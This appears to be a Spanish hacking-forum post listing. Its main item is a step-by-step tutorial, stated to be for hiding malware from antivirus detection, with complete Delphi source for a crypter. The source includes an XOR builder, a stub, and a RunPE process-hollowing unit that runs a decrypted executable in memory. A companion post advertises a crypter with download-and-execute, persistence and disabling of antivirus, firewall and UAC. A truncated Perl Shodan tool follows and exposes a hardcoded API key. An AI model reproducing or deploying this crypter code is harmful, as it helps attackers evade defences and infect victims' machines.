elhacker.net cabecera Bienvenido(a), Visitante. Por favor Ingresar o Registrarse
¿Perdiste tu email de activación?.


 


Tema destacado: Recuerda que debes registrarte en el foro para poder participar (preguntar y responder)


  Mostrar Mensajes
Páginas: [1] 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 ... 49
1  Programación / Programación General / [Delphi] DH Crypter 1.0 en: 13 Abril 2015, 15:12
Un simple crypter que hice en Delphi con las siguientes funciones :

  • Generador de key para el cifrado
  • Delay
  • Startup del archivo
  • Ocultar archivo
  • Melt File
  • Mensajes falsos
  • Ejecutar comandos
  • Matar procesos
  • Abrir URL
  • Descargar y ejecutar archivos
  • File Pumper,Extension Spoofer & Icon Changer
  • Antis :
[++] Virtual PC
[++] Virtual Box
[++] Debug
[++] Wireshark
[++] OllyDg
[++] Anubis
[++] Kaspersky
[++] VMware

  • Disables :
[++] UAC
[++] Firewall
[++] CMD
[++] Run
[++] Taskmgr
[++] Regedit
[++] Updates

[!] Creditos :

[++] steve10120 [ RunPE ]

Una imagen :



Un video con ejemplos de uso :



Si quieren bajar el programa lo pueden hacer de aca :

SourceForge.

Eso seria todo.
2  Programación / Programación General / [Delphi] Creacion de un Crypter en: 12 Abril 2015, 21:54
[Titulo] : Creacion de un Crypter
[Lenguaje] : Delphi
[Autor] : Doddy Hackman

[Temario]

-- =================--------

0x01 : Introduccion
0x02 : Creacion del Builder
0x03 : Creacion del Stub
0x04 : Probando el Crypter
0x05 : Creditos

-- =================--------

0x01 : Introduccion

Un crypter es un programa para ocultar malware para que no sea detectado y eliminado por los antivirus , en este manual aprenderemos a hacer un cryper en Delphi 7.
Solo les voy a enseñar como hacerlo , les voy avisando que no sera FUD y lo hago solo en Delphi 7 por varias razones ya que Delphi XE2 me daba muchos errores en este tema.

Empecemos ... 

0x02 : Creacion del Builder

Para empezar cargamos Delphi 7 y nos vamos "File->New->Application" como en la siguiente imagen :



Despues agregamos los siguientes elementos al formulario :

* 1 Edit (En Standard)
* 2 Botones (En Standard)
* 1 OpenDialog (En Dialogs)

El Edit contendra la ruta del archivo a cifrar , el primer boton sera para buscar el archivo , el segundo boton para cifrar el archivo y finalmente el OpenDialog lo usaremos para que el usuario pueda seleccionar el archivo.

Entonces al primer boton lo ponemos al lado del Edit1 y le ponemos de texto al boton : "Load" , el segundo boton viene abajo del Edit1 y le ponemos de texto "Encrypt"

Tambien si quieren pueden poner un titulo al Form desde la opcion de "Caption" del formulario , en mi caso pongo "Crypter".

El formulario les deberia quedar asi :



Entonces hacemos doble click en el boton "Load" y ponemos el siguiente codigo :

Código
  1. procedure TForm1.Button1Click(Sender: TObject);
  2. begin
  3.  if OpenDialog1.Execute then // Abrimos el OpenDialog para insertar la ruta
  4.  // del archivo a cifrar
  5.  begin
  6.    Edit1.Text := OpenDialog1.FileName; // Establecemos el texto de Edit1 con
  7.    // la ruta del archivo marcado en el openDialog1
  8.  end;
  9. end;
  10.  

Ahora hacemos doble click en el boton "Encrypt" y ponemos el siguiente codigo :

Código
  1. procedure TForm1.Button2Click(Sender: TObject);
  2. var
  3.  codigo: string; // Declaramos la variable "codigo" como string
  4.  key: integer; // Declaramos la variable "key" como integer
  5.  separador: string; // Declaramos la variable "separador" como string
  6.  linea: string; // Declaramos la variable "linea" como string
  7. begin
  8.  
  9.  separador := '-barra-';
  10.  // Establecemos el valor que tendra la variable "separador"
  11.  key := 123; // Establecemos el valor de la variable "key" como 123
  12.  
  13.  codigo := xor_now(leer_archivo(Edit1.Text), key);
  14.  // Leemos el archivo que hay en
  15.  // la caja de texto y ciframos con XOR el contenido usando una key
  16.  
  17.  CopyFile(Pchar(ExtractFilePath(Application.ExeName) + '/' + 'stub.exe'),
  18.    Pchar(ExtractFilePath(Application.ExeName) + '/' + 'done.exe'), True);
  19.  // Copiamos el stub.exe con el nombre de done.exe
  20.  
  21.  linea := separador + codigo + separador + IntToStr(key) + separador;
  22.  // Establecemos
  23.  // la variable "linea" con el valor de contenido del archivo cifrado con
  24.  // XOR y la key del cifrado XOR
  25.  
  26.  escribir_datos('done.exe', '-acatoy1-', '-acatoy2-', linea); // Escribimos
  27.  // los datos en el ejecutable done.exe marcando los delimtiadores "acatoy" y
  28.  // tambien ponemos el valor de la variable "linea"
  29.  
  30.  ShowMessage('Done');
  31.  
  32. end;
  33.  

El codigo les deberia quedar algo asi :



Para poder usar este codigo debemos crear una Unit llendo a "File->New->Unit" como en la siguiente imagen :



Una vez creada pongan el siguiente codigo :

Código
  1. // Unit : Tools for Crypter
  2. // Coded By Doddy Hackman in the year 2015
  3. // Credits : Based on OP Crypter By Xash
  4. // Thanks to Xash
  5.  
  6. unit tools;
  7.  
  8. interface
  9.  
  10. uses SysUtils, Windows;
  11.  
  12. function leer_datos(archivo, delimitador1, delimitador2: string): string;
  13. function escribir_datos(ruta, delimitador1, delimitador2, texto: string): bool;
  14.  
  15. function leer_archivo(archivo_a_leer: String): AnsiString;
  16. function xor_now(texto: string; clave: integer): string;
  17.  
  18. implementation
  19.  
  20. function xor_now(texto: string; clave: integer): string;
  21. var
  22.  numero: integer; // Establecemos la variable "numero" como integer
  23.  contenido: string; // Establecemos la variable "contenido" como string
  24. begin
  25.  contenido := ''; // Vaciamos el contenido de la variable "contenido"
  26.  for numero := 1 to Length(texto) do // Realizamos un for empezando por 1 hasta
  27.  // la longitud de la variable "texto"
  28.  begin
  29.    contenido := contenido + Char(integer(texto[numero]) xor clave);
  30.    // ciframos los datos
  31.    // con XOR
  32.  end;
  33.  Result := contenido; // Devolvemos el resultado de la funcion como el valor
  34.  // de la variable "contenido"
  35. end;
  36.  
  37. function leer_archivo(archivo_a_leer: String): AnsiString;
  38. var
  39.  archivo: File; // Declaramos la variable "archivo" como File
  40.  tipo: Byte; // Declaramos la variable "tipo" como Byte
  41. begin
  42.  tipo := FileMode; // Establecemos el FileMode para abrir el archivo
  43.  try
  44.    FileMode := 0; // Establecemos como "0" el FileMode
  45.    AssignFile(archivo, archivo_a_leer); // Abrirmos el archivo
  46. {$I-}
  47.    Reset(archivo, 1); // Leemos el archivo desde la primera linea
  48. {$I+}
  49.    if IoResult = 0 then // Si IoResult es 0 ...
  50.      try
  51.        SetLength(Result, FileSize(archivo)); // Establecemos la longitud la
  52.        // variable "Result" como la longitud del archivo
  53.        if Length(Result) > 0 then
  54.        // Si la longitud del resultado es mayor a 0 ...
  55.        begin
  56. {$I-}
  57.          BlockRead(archivo, Result[1], Length(Result)); // Leemos los datos
  58. {$I+}
  59.          if IoResult <> 0 then // Si es distinto a 0 ..
  60.            Result := '';
  61.        end;
  62.      finally
  63.        CloseFile(archivo); // Cerramos el archivo
  64.      end;
  65.  finally
  66.    FileMode := tipo; // Declaramos la variable FileMode como la variable "tipo"
  67.  end;
  68. end;
  69.  
  70. function leer_datos(archivo, delimitador1, delimitador2: string): string;
  71.  
  72. var
  73.  contenido: string; // Declaramos la variable "contenido" como string
  74.  limite: integer; // Declaramos la variable "limite" como integer
  75.  dividiendo: integer; // Declaramos la variable "dividiendo" como integer
  76.  dividiendo2: integer; // Declaramos la variable "dividiendo2" como integer
  77.  dividiendo3: integer; // Declaramos la variable "dividiendo3" como integer
  78.  dividiendo4: integer; // Declaramos la variable "dividiendo4" como integer
  79.  control1: integer; // Declaramos la variable "control1" como integer
  80.  control2: integer; // Declaramos la variable "control2" como integer
  81.  suma: integer; // Declaramos la variable "suma" como integer
  82.  numero: integer; // Declaramos la variable "numero" como integer
  83.  suma_inicial_1: integer; // Declaramos la variable suma_inicial_1 como integer
  84.  suma_inicial_2: integer; // Declaramos la variable suma_inicial_2 como integer
  85.  suma_casi_1: integer; // Declaramos la variable suma_casi_1 como integer
  86.  suma_casi_2: integer; // Declaramos la variable suma_casi_2 como integer
  87.  resultado: string; // Declaramos la variable "resultado" como string
  88.  contenido_final: string;
  89.  // Declaramos la variable "contenido_final" como string
  90. begin
  91.  
  92.  if (FileExists(archivo)) then // Si existe el archivo ...
  93.  begin
  94.    contenido := leer_archivo(archivo); // Leemos el archivo y guardamos todo
  95.    // en la variable "contenido"
  96.  
  97.    suma_inicial_1 := Length(delimitador1);
  98.    // Calculamos la longitud de la variable
  99.    // "delimitador1"
  100.  
  101.    suma_inicial_2 := Length(contenido);
  102.    // Calculamos la longitud de la variable
  103.    // "contenido"
  104.  
  105.    suma := Pos(delimitador1, contenido) + suma_inicial_1;
  106.    // Calculamos la posicion del
  107.    // "delimitador" en la variable "contenido"
  108.  
  109.    dividiendo := suma_inicial_2 - suma;
  110.    // Restamos las variables "suma_inicial_2"
  111.    // y "suma"
  112.      dividiendo2 := suma_inicial_2 - dividiendo;
  113.    // Restamos las variables "suma_inicial_2"
  114.    // y "dividiendo"
  115.  
  116.    contenido := Copy(contenido, dividiendo2, suma_inicial_2);
  117.    // Copiamos las variables y las guardmamos en "contenido"
  118.  
  119.    suma_casi_1 := Pos(delimitador1, contenido);
  120.    // Calculamos la posicion de "delimitador1"
  121.    // en la variable "contenido"
  122.    suma_casi_2 := suma_casi_1 + suma_inicial_1;
  123.    // Sumamos las variables "suma_casi_1"
  124.    // y "suma_inicial_1"
  125.  
  126.    control1 := Pos(delimitador2, contenido) - suma_casi_2;
  127.    // Calculamos la posicion
  128.    // de "delimitador2" en la variable "contenido" y lo restamos con "suma_casi_2"
  129.  
  130.    control2 := control1 - 1; // Restamos en uno la variable "control1"
  131.  
  132.    for numero := 0 to control2 do
  133.    // Realizamos un for usando desde 0 hasta el valor
  134.    // de la variable "control2"
  135.    begin
  136.      dividiendo3 := suma_inicial_1 + numero;
  137.      // Sumamos la variables varibles "suma_inicial_1"
  138.      // y "numero"
  139.      dividiendo4 := Pos(delimitador1, contenido) + dividiendo3;
  140.      // Calculamos la posicion de "delimitador1" en la variable
  141.      // "contenido"
  142.      contenido_final := contenido[dividiendo4]; // "Usamos la posicion que esta
  143.      // en la variable "dividiendo4" para acceder a cierta posicion de la variable
  144.      // "contenido"
  145.      resultado := resultado + contenido_final;
  146.      // Sumamos las variables "resultado" y
  147.      // "contenido_final"
  148.    end;
  149.  
  150.    if resultado = '' then // Si la variable "resultado" esta vacia ...
  151.    begin
  152.      resultado := 'Error'; // Mostramos "Error" en la variable "resultado"
  153.    end
  154.    else
  155.    begin
  156.      Result := resultado; // De lo contrario mostramos el contenido de la
  157.      // variable "resultado" en resultado de la funcion
  158.    end;
  159.  end
  160.  else
  161.  begin
  162.    Result := 'Error'; // De lo contrario mostramos "Error" en el resultado de
  163.    // la funcion
  164.  end;
  165. end;
  166.  
  167. function escribir_datos(ruta, delimitador1, delimitador2, texto: string): bool;
  168. var
  169.  abriendo_archivo: TextFile; // Declaramos la variable "abriendo_archivo" como
  170.  // TextFile
  171. begin
  172.  if (FileExists(ruta)) then // Si el archivo de la variable "ruta" existe ...
  173.  begin
  174.    AssignFile(abriendo_archivo, ruta); // Abrimos el archivo de la variable
  175.    // "ruta"
  176.    Append(abriendo_archivo); // Empezamos a leer el archivo desde la variable
  177.    // "abriendo_archivo"
  178.    try
  179.      begin
  180.        WriteLn(abriendo_archivo, delimitador1 + texto + delimitador2);
  181.        // Escribimos los datos
  182.        // de las variables "delimitador1,"texto","delimitador2"
  183.      end
  184.    finally
  185.      begin
  186.        CloseFile(abriendo_archivo); // Cerramos el archivo desde la variable
  187.        // "abriendo_archivo"
  188.      end;
  189.      Result := True; // Devolvemos "True" como resultado de la funcion
  190.    end;
  191.  end
  192.  else
  193.  begin
  194.    Result := False; // De lo contrario devolvemos "False" como resultado de la
  195.    // funcion
  196.  end;
  197.  
  198. end;
  199.  
  200. end.
  201.  
  202. // The End ?
  203.  

Y para terminar la Unit guardenla con el nombre de "tools".

Les deberia quedar algo asi :



Para conectar el formulario con la Unit debemos ir a los "uses" que estan al inicio del codigo del formulario y agregar "tools" al final , quedando asi :

Código
  1. uses
  2.  Windows, Messages, SysUtils, Variants, Classes, Graphics, Controls, Forms,
  3.  Dialogs, StdCtrls,tools;
  4.  

Para finalizar guardamos el proyecto como "builder" y con esto ya terminamos el builder.

0x03 : Creacion del Stub

Para empezar tenemos que crear un proyecto en el mismo directorio que el del builder , pero esta vez tiene que ser un programa consola , para eso nos vamos a "File->New->Other" y despues en la ventana que viene seleccionamos "Console Application" , con imagenes seria asi :





Ahora deben agregar el unit "uExecFromMem" que es el Runpe hecho por steve10120 , para crear el Unit vamos a "File->New->Unit" como en la siguiente imagen :



Una vez creado ponemos el siguiente codigo :

Código
  1. { uExecFromMem
  2.  
  3.   Author: steve10120
  4.   Description: Run an executable from another's memory.
  5.   Credits: Tan Chew Keong: Dynamic Forking of Win32 EXE; Author of BTMemoryModule: PerformBaseRelocation().
  6.   Reference: http://www.security.org.sg/code/loadexe.html
  7.   Release Date: 26th August 2009
  8.   Website: http://ic0de.org
  9.   History: First try
  10.  
  11.   Additions by testest 15th July 2010:
  12.     - Parameter support
  13.     - Win7 x64 support
  14. }
  15.  
  16. unit uExecFromMem;
  17.  
  18. interface
  19.  
  20. uses Windows;
  21.  
  22. function ExecuteFromMem(szFilePath, szParams: string; pFile: Pointer):DWORD;
  23.  
  24. implementation
  25.  
  26. function NtUnmapViewOfSection(ProcessHandle:DWORD; BaseAddress:Pointer):DWORD; stdcall; external 'ntdll';
  27.  
  28. type
  29.  PImageBaseRelocation = ^TImageBaseRelocation;
  30.  TImageBaseRelocation = packed record
  31.     VirtualAddress: DWORD;
  32.     SizeOfBlock: DWORD;
  33.  end;
  34.  
  35. procedure PerformBaseRelocation(f_module: Pointer; INH:PImageNtHeaders; f_delta: Cardinal); stdcall;
  36. var
  37.  l_i: Cardinal;
  38.  l_codebase: Pointer;
  39.  l_relocation: PImageBaseRelocation;
  40.  l_dest: Pointer;
  41.  l_relInfo: ^Word;
  42.  l_patchAddrHL: ^DWord;
  43.  l_type, l_offset: integer;
  44. begin
  45.  l_codebase := f_module;
  46.  if INH^.OptionalHeader.DataDirectory[5].Size > 0 then
  47.  begin
  48.    l_relocation := PImageBaseRelocation(Cardinal(l_codebase) + INH^.OptionalHeader.DataDirectory[5].VirtualAddress);
  49.    while l_relocation.VirtualAddress > 0 do
  50.    begin
  51.      l_dest := Pointer((Cardinal(l_codebase) + l_relocation.VirtualAddress));
  52.      l_relInfo := Pointer(Cardinal(l_relocation) + 8);
  53.      for l_i := 0 to (trunc(((l_relocation.SizeOfBlock - 8) / 2)) - 1) do
  54.      begin
  55.        l_type := (l_relInfo^ shr 12);
  56.        l_offset := l_relInfo^ and $FFF;
  57.        if l_type = 3 then
  58.        begin
  59.          l_patchAddrHL := Pointer(Cardinal(l_dest) + Cardinal(l_offset));
  60.          l_patchAddrHL^ := l_patchAddrHL^ + f_delta;
  61.        end;
  62.        inc(l_relInfo);
  63.      end;
  64.      l_relocation := Pointer(cardinal(l_relocation) + l_relocation.SizeOfBlock);
  65.    end;
  66.  end;
  67. end;
  68.  
  69. function AlignImage(pImage:Pointer):Pointer;
  70. var
  71.  IDH:          PImageDosHeader;
  72.  INH:          PImageNtHeaders;
  73.  ISH:          PImageSectionHeader;
  74.  i:            WORD;
  75. begin
  76.  IDH := pImage;
  77.  INH := Pointer(Integer(pImage) + IDH^._lfanew);
  78.  GetMem(Result, INH^.OptionalHeader.SizeOfImage);
  79.  ZeroMemory(Result, INH^.OptionalHeader.SizeOfImage);
  80.  CopyMemory(Result, pImage, INH^.OptionalHeader.SizeOfHeaders);
  81.  for i := 0 to INH^.FileHeader.NumberOfSections - 1 do
  82.  begin
  83.    ISH := Pointer(Integer(pImage) + IDH^._lfanew + 248 + i * 40);
  84.    CopyMemory(Pointer(DWORD(Result) + ISH^.VirtualAddress), Pointer(DWORD(pImage) + ISH^.PointerToRawData), ISH^.SizeOfRawData);
  85.  end;
  86. end;
  87.  
  88. function Get4ByteAlignedContext(var Base: PContext): PContext;
  89. begin
  90.  Base := VirtualAlloc(nil, SizeOf(TContext) + 4, MEM_COMMIT, PAGE_READWRITE);
  91.  Result := Base;
  92.  if Base <> nil then
  93.    while ((DWORD(Result) mod 4) <> 0) do
  94.      Result := Pointer(DWORD(Result) + 1);
  95. end;
  96.  
  97. function ExecuteFromMem(szFilePath, szParams:string; pFile:Pointer):DWORD;
  98. var
  99.  PI:           TProcessInformation;
  100.  SI:           TStartupInfo;
  101.  CT:           PContext;
  102.  CTBase:       PContext;
  103.  IDH:          PImageDosHeader;
  104.  INH:          PImageNtHeaders;
  105.  dwImageBase:  DWORD;
  106.  pModule:      Pointer;
  107.  dwNull:       DWORD;
  108. begin
  109.  if szParams <> '' then szParams := '"'+szFilePath+'" '+szParams;
  110.  
  111.  Result := 0;
  112.  IDH := pFile;
  113.  if IDH^.e_magic = IMAGE_DOS_SIGNATURE then
  114.  begin
  115.    INH := Pointer(Integer(pFile) + IDH^._lfanew);
  116.    if INH^.Signature = IMAGE_NT_SIGNATURE then
  117.    begin
  118.      FillChar(SI, SizeOf(TStartupInfo), #0);
  119.      FillChar(PI, SizeOf(TProcessInformation), #0);
  120.      SI.cb := SizeOf(TStartupInfo);
  121.      if CreateProcess(PChar(szFilePath), PChar(szParams), nil, nil, FALSE, CREATE_SUSPENDED, nil, nil, SI, PI) then
  122.      begin
  123.        CT := Get4ByteAlignedContext(CTBase);
  124.        if CT <> nil then
  125.        begin
  126.          CT.ContextFlags := CONTEXT_FULL;
  127.          if GetThreadContext(PI.hThread, CT^) then
  128.          begin
  129.            ReadProcessMemory(PI.hProcess, Pointer(CT.Ebx + 8), @dwImageBase, 4, dwNull);
  130.            if dwImageBase = INH^.OptionalHeader.ImageBase then
  131.            begin
  132.              if NtUnmapViewOfSection(PI.hProcess, Pointer(INH^.OptionalHeader.ImageBase)) = 0 then
  133.                pModule := VirtualAllocEx(PI.hProcess, Pointer(INH^.OptionalHeader.ImageBase), INH^.OptionalHeader.SizeOfImage, MEM_COMMIT or MEM_RESERVE, PAGE_EXECUTE_READWRITE)
  134.              else
  135.                pModule := VirtualAllocEx(PI.hProcess, nil, INH^.OptionalHeader.SizeOfImage, MEM_COMMIT or MEM_RESERVE, PAGE_EXECUTE_READWRITE);
  136.            end
  137.            else
  138.              pModule := VirtualAllocEx(PI.hProcess, Pointer(INH^.OptionalHeader.ImageBase), INH^.OptionalHeader.SizeOfImage, MEM_COMMIT or MEM_RESERVE, PAGE_EXECUTE_READWRITE);
  139.            if pModule <> nil then
  140.            begin
  141.              pFile := AlignImage(pFile);
  142.              if DWORD(pModule) <> INH^.OptionalHeader.ImageBase then
  143.              begin
  144.                PerformBaseRelocation(pFile, INH, (DWORD(pModule) - INH^.OptionalHeader.ImageBase));
  145.                INH^.OptionalHeader.ImageBase := DWORD(pModule);
  146.                CopyMemory(Pointer(Integer(pFile) + IDH^._lfanew), INH, 248);
  147.              end;
  148.              WriteProcessMemory(PI.hProcess, pModule, pFile, INH.OptionalHeader.SizeOfImage, dwNull);
  149.              WriteProcessMemory(PI.hProcess, Pointer(CT.Ebx + 8), @pModule, 4, dwNull);
  150.              CT.Eax := DWORD(pModule) + INH^.OptionalHeader.AddressOfEntryPoint;
  151.              SetThreadContext(PI.hThread, CT^);
  152.              ResumeThread(PI.hThread);
  153.              Result := PI.hThread;
  154.            end;
  155.          end;
  156.          VirtualFree(CTBase, 0, MEM_RELEASE);
  157.        end;
  158.        if Result = 0 then
  159.          TerminateProcess(PI.hProcess, 0);
  160.      end;
  161.    end;
  162.  end;
  163. end;
  164.  
  165. end.
  166.  

Para terminar guardamos la Unit como "uExecFromMem" y el codigo nos quedaria algo asi :



Ahora tenemos que agregar los siguientes "uses" al codigo del Stub :

Código
  1. uses
  2.  SysUtils, StrUtils, Windows, uExecFromMem, tools;
  3.  

Despues borren el "{$APPTYPE CONSOLE}" al inicio del codigo para que no se vea la consola al cargar el Stub.

Ahora debemos agregar el siguiente codigo que nos servira para usar arrays en el Stub.

El codigo :

Código
  1. type
  2.  otro_array = array of string;
  3.  // Declaramos el tipo "otro_array" como array of string
  4.  

Despues tenemos que agregar la siguiente funcion para manejar los arrays y los datos del Stub.

El codigo :

Código
  1. procedure regex2(texto: string; separador: string; var resultado: otro_array);
  2. // Thanks to ecfisa for the help
  3. var
  4.  numero1: integer; // Declaramos la variable "numero1" como integer
  5.  numero2: integer; // Declaramos la variable "numero2" como integer
  6. begin
  7.  texto := texto + separador; // Concatenamos la variable "texto" y "separador"
  8.  numero2 := Pos(separador, texto); // Calculamos la posicion de "separador" en
  9.  // la variable "texto"
  10.  numero1 := 1; // Establecemos la variable "numero1" como "1"
  11.  while numero1 <= numero2 do
  12.  // Mientras "numero1" sea menor o igual a "numero2" ...
  13.  begin
  14.    SetLength(resultado, Length(resultado) + 1);
  15.    // Establecemos la longitud de resultado
  16.    // a la longitud de la variable "resultado" mas "1"
  17.    resultado[High(resultado)] := Copy(texto, numero1, numero2 - numero1);
  18.    // Establecemos la variable "resultado" como la copia de las variables "texto",
  19.    // "numero1" y la resta de las variables "numero2" y "numero1"
  20.    numero1 := numero2 + Length(separador);
  21.    // Establecemos la variable "numero1" como
  22.    // la suma de la variable "numero2" y la longitud de ña variable "separador"
  23.    numero2 := PosEx(separador, texto, numero1); // Calculamos la posicion de de
  24.    // "separador" en el variable "texto"
  25.  end;
  26. end;
  27.  

Ahora agregamos el siguiente codigo entre el begin principal.

El codigo :

Código
  1. var
  2.  todo: string; // Declaramos la variable "todo" como string
  3.  codigo: string; // Declaramos la variable "codigo" como string
  4.  key: string; // Declaramos la variable "key" como string
  5.  datos: otro_array; // Declaramos la variable "datos" como otro_array
  6.  
  7. begin
  8.  
  9.  todo := leer_datos(paramstr(0), '-acatoy1-', '-acatoy2-'); // Leemos los datos
  10.  // del ejecutable mismo usando los delimitadores "-acatoy1-" y "-acatoy2-"
  11.  
  12.  regex2(todo, '-barra-', datos);
  13.  // Separamos los delimitadores que estan separados
  14.  // por "-barra-" en la variable "todo"
  15.  
  16.  key := datos[2];
  17.  // Establecemos como "key" la segunda posicion del array "datos"
  18.  codigo := datos[1];
  19.  // Establecemos como "codigo" la primera posicion del array
  20.  // "datos"
  21.  
  22.  codigo := xor_now(codigo, StrToInt(key)); // Establecemos como "codigo"
  23.  // la encriptacion XOR del contenido de la variable "codigo" usando la key y lo
  24.  // guardamos en la variable "codigo"
  25.  
  26.  ExecuteFromMem(paramstr(0), '', Pchar(codigo));
  27.  // Ejecutamos el codig en memoria
  28.  // usando la funcion "ExecuteFromMem"
  29.  
  30. end.
  31.  

Una imagen de como deberia quedarles el codigo :



Para terminar guardamos el proyecto como "stub" y podriamos dar por terminado este corto capitulo.

0x04 : Probando el Crypter

Para probar el Crypter vamos a probarlo con una copia del programa mismo para cifrar , entonces hacemos una copia del builder y cargamos el builder principal para despues hacer click en el boton "Load" y seleccionar la copia del builder , despues hacemos click en "Encrypt" , si todo sale bien les va a aparecer un mensaje que dice "Done" , entonces veremos que el builder nos genero un ejecutable llamado "done.exe" , ese es el programa cifrado , simplemente lo abrimos y veremos el builder cifrado.

Unas imagenes :









Con ven el Crypter funciona correctamente.

0x05 : Creditos

OP Crypter by Xash.
uExecFromMem by steve10120 - fixed for Win7x64 by testest.

Eso seria todo.

--========--
  The End ?
--========--

Version PDF.

Version en VideoTutorial :

3  Programación / Scripting / [Perl] Shodan Tool 0.6 en: 10 Abril 2015, 16:01
Un simple script para hacer busquedas en Shodan con las siguientes opciones :

  • Buscar resultados por IP
  • Buscar resultados por cantidad
  • Busqueda normal
  • Listar los query guardados
  • Busca los query guardados que ya fueron buscados
  • Lista los tags mas populares
  • Lista todos los servicios que shodan encuentra
  • DNS Lookup
  • Reverse DNS Lookup
  • Te devuelve tu IP
  • Te da informacion sobre tu API

Es necesario que tengan una API Key suya para poder usar la API de Shodan.

Un video con ejemplos de uso :



El codigo :

Código
  1. #!usr/bin/perl
  2. #Shodan Tool 0.6
  3. #(C) Doddy Hackman 2015
  4. #Based on : https://developer.shodan.io/api
  5. #ppm install http://www.eekboek.nl/dl/ppms/Crypt-SSLeay.ppd
  6. #ppm install http://www.bribes.org/perl/ppm/JSON.ppd
  7.  
  8. use LWP::UserAgent;
  9. use JSON;
  10. use Getopt::Long;
  11. use Color::Output;
  12. Color::Output::Init;
  13. use IO::Socket;
  14.  
  15. my $nave = LWP::UserAgent->new( ssl_opts => { verify_hostname => 1 } );
  16. $nave->agent(
  17. "Mozilla/5.0 (Windows NT 6.1; Win64; x64; rv:25.0) Gecko/20100101 Firefox/25.0"
  18. );
  19. $nave->timeout(5);
  20.  
  21. my $api_key = "LY10TuYViggY3GXRzLOUxdp6Kk3Lu9sa";
  22.  
  23. GetOptions(
  24.    "ip=s"           => \$ip,
  25.    "count=s"        => \$count,
  26.    "search=s"       => \$search,
  27.    "query"          => \$query,
  28.    "query_search=s" => \$query_search,
  29.    "query_tags"     => \$query_tags,
  30.    "services"       => \$services,
  31.    "resolve=s"      => \$resolve,
  32.    "reverse=s"      => \$reverse,
  33.    "myip"           => \$myip,
  34.    "api_info"       => \$api_info
  35. );
  36.  
  37. head();
  38.  
  39. if ( $ip ne "" ) {
  40.    if ( $ip =~ /^(\d{1,3})\.(\d{1,3})\.(\d{1,3})\.(\d{1,3})$/ ) {
  41.        print by_ip($ip);
  42.    }
  43.    else {
  44.        my $get = gethostbyname($ip);
  45.        my $ip  = inet_ntoa($get);
  46.        by_ip($ip);
  47.    }
  48. }
  49. elsif ( $count ne "" ) {
  50.    by_count($count);
  51. }
  52. elsif ( $search ne "" ) {
  53.    by_search($search);
  54. }
  55. elsif ( $query ne "" ) {
  56.    by_query();
  57. }
  58. elsif ($query_search) {
  59.    by_query_search($query_search);
  60. }
  61. elsif ($query_tags) {
  62.  
  63.    by_query_tags($query_tags);
  64.  
  65. }
  66. elsif ( $services ne "" ) {
  67.    list_services();
  68. }
  69. elsif ( $resolve ne "" ) {
  70.    resolve($resolve);
  71. }
  72. elsif ( $reverse ne "" ) {
  73.    reverse_now($reverse);
  74. }
  75. elsif ( $myip ne "" ) {
  76.    my_ip();
  77. }
  78. elsif ( $api_info ne "" ) {
  79.    api_info();
  80. }
  81. else {
  82.    sintax();
  83. }
  84.  
  85. copyright();
  86.  
  87. # Functions
  88.  
  89. sub by_query_tags {
  90.  
  91.    printear_titulo("\n[+] Listening the most popular tags  ...\n\n");
  92.  
  93.    my $code =
  94.      toma( "https://api.shodan.io/shodan/query/tags?key=" . $api_key );
  95.  
  96.    $resultado = JSON->new->decode($code);
  97.  
  98.    my $total = $resultado->{'total'};
  99.  
  100.    if ( $total ne "" ) {
  101.        printear("[+] Total : ");
  102.        print $total. "\n\n";
  103.    }
  104.    else {
  105.        printear("[-] WTF !");
  106.    }
  107.  
  108.    my $i = 0;
  109.  
  110.    my @encontrados = @{ $resultado->{'matches'} };
  111.    foreach my $encontrado (@encontrados) {
  112.        my $value = $encontrado->{"value"};
  113.        my $count = $encontrado->{"count"};
  114.  
  115.        $i++;
  116.        print "-------------------------------------\n\n";
  117.        if ( $value ne "" ) {
  118.            printear("[+] Value : ");
  119.            print $value. "\n";
  120.        }
  121.  
  122.        if ( $count ne "" ) {
  123.            printear("[+] Count : ");
  124.            print $count. "\n";
  125.        }
  126.  
  127.        print "\n-------------------------------------\n";
  128.  
  129.        if ( $i % 5 == 0 ) {
  130.            printear("\n[+] Press enter to show more\n");
  131.            <STDIN>;
  132.        }
  133.  
  134.    }
  135.  
  136. }
  137.  
  138. sub by_query_search {
  139.  
  140.    my $query = $_[0];
  141.  
  142.    printear_titulo(
  143.        "\n[+] Searching in the directory of saved search queries ...\n\n");
  144.  
  145.    my $code =
  146.      toma( "https://api.shodan.io/shodan/query/search?key="
  147.          . $api_key
  148.          . "&query="
  149.          . $query );
  150.  
  151.    $resultado = JSON->new->decode($code);
  152.  
  153.    my $total = $resultado->{'total'};
  154.  
  155.    if ( $total ne "" ) {
  156.        printear("[+] Total : ");
  157.        print $total. "\n\n";
  158.    }
  159.    else {
  160.        printear("[-] WTF !");
  161.    }
  162.  
  163.    my $i = 0;
  164.  
  165.    my @encontrados = @{ $resultado->{'matches'} };
  166.    foreach my $encontrado (@encontrados) {
  167.        $i++;
  168.        print "-------------------------------------\n\n";
  169.        my $votes       = $encontrado->{"votes"};
  170.        my $description = $encontrado->{"description"};
  171.        my $title       = $encontrados->{"title"};
  172.        my $timestamp   = $encontrados->{"timestamp"};
  173.        my $query       = $encontrados->{"query"};
  174.  
  175.        if ( $votes ne "" ) {
  176.            printear("[+] Votes : ");
  177.            print $votes. "\n";
  178.        }
  179.  
  180.        if ( $description ne "" ) {
  181.            printear("[+] Description : ");
  182.            print $description. "\n\n";
  183.        }
  184.  
  185.        if ( $title ne "" ) {
  186.            printear("[+] Title : ");
  187.            print $title. "\n";
  188.        }
  189.  
  190.        if ( $timestamp ne "" ) {
  191.            printear("[+] Timestamp : ");
  192.            print $timestamp. "\n";
  193.        }
  194.  
  195.        if ( $query ne "" ) {
  196.            printear("[+] Query : ");
  197.            print $query. "\n";
  198.        }
  199.  
  200.        printear("[+] Tags : ");
  201.        my @tags = @{ $encontrado->{'tags'} };
  202.        foreach my $tag (@tags) {
  203.            print $tag. "\t";
  204.        }
  205.        print "\n";
  206.  
  207.        print "\n-------------------------------------\n";
  208.  
  209.        if ( $i % 5 == 0 ) {
  210.            printear("\n[+] Press enter to show more\n");
  211.            <STDIN>;
  212.        }
  213.  
  214.    }
  215.  
  216. }
  217.  
  218. sub by_query {
  219.  
  220.    printear_titulo("\n[+] Listening the saved search queries ...\n\n");
  221.  
  222.    my $code = toma( "https://api.shodan.io/shodan/query?key=" . $api_key );
  223.    $resultado = JSON->new->decode($code);
  224.  
  225.    my $total = $resultado->{'total'};
  226.  
  227.    if ( $total ne "" ) {
  228.        printear("[+] Total : ");
  229.        print $total. "\n\n";
  230.    }
  231.    else {
